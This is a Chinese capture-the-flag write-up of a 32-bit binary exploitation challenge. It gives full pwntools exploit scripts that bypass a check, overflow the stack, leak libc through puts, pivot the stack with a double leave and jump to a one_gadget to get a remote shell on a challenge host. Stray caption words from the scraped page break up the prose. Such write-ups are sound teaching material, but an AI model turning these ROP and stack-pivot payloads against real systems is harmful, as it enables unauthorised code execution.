首先在main函數中須要繞過一個if判斷才能進入漏洞函數
shell
漏洞函數中很明顯的棧溢出漏洞,同時還控制了返回地址不能超過文件映射到內存的最大地址
函數
因此咱們的思路很明顯,由於函數中控制了返回地址,因此斷絕了直接返回運行shellcode的可能,因此咱們先經過雙leave劫持棧,再在棧上佈置返回shellcode的地址便可
棧的佈置有三種打法,
一、在棧上佈置system函數的地址,再雙leave後的ret跳到system函數執行,並在棧上的相應位置佈置上bin/sh的地址。但是經過屢次調試後失敗了,雖然程序成功運行了system函數,可是卻沒有返回shell,這多是跟環境有關。
二、在棧上佈置shellcode的返回地址,並在程序合適的段中寫入shellcode,但是這個文件中並無可寫並可執行的段,因此這個打不通。
三、在棧上佈置one_gadget地址,經過這個成功打通。debug
想要知道one_gadget的地址,就必須泄露靶機的libc庫3d
from pwn import * from LibcSearcher import * #context.log_level = 'debug' sh = remote('101.71.29.5',10041) elf = ELF('./a') read_plt = elf.plt['read'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] read_got = elf.got['read'] main_addr = 0x08048592 pop_ret = 0x080483b5 pop3_ret = 0x08048659 leave_ret = 0x08048468 sh.recvuntil('\n') payload = 'a'*0x20 + p32(1717986918) sh.sendline(payload) sh.recvuntil('name?\n') payload = 'a'*0x14 + p32(puts_plt) + p32(pop_ret) + p32(puts_got) + p32(0x0804853D) sh.sendline(payload) addr = sh.recv(4) a = hex(u32(addr)) obj = LibcSearcher('puts',0xf7613140)
得到libc庫後,搜索one_gadget對應libc頭部的偏移
調試
這裏面one_gadget執行條件涉及到環境問題,一個個試就好,固然也能夠本身調,最後給上打通的腳本code
from pwn import * from LibcSearcher import * context.log_level = 'debug' sh = remote('101.71.29.5',10041) #sh = process('./a') elf = ELF('./a') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') puts_plt = 0x080483e0 puts_got = 0x08049ff0 read_plt = 0x080483d8 read_got = 0x08049fec leave_ret = 0x08048468 pop_ret = 0x080483b5 sh.recvuntil('\n') payload = 'a'*0x20 + p32(1717986918) sh.sendline(payload) sh.recvuntil('name?\n') payload = 'a'*0x14 + p32(puts_plt) + p32(pop_ret) + p32(puts_got) + p32(0x0804853D) sh.sendline(payload) addr = u32(sh.recv(4)) base = addr - 389440 onegadget_addr = base + 0x3a819 sh.recvuntil('name?\n') payload = 'a'*0x10 + p32(0x0804A080) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(0x0804A080) + p32(0x1000) sh.sendline(payload) sleep(0.1) payload = p32(0) payload += p32(onegadget_addr) sh.send(payload) sh.interactive()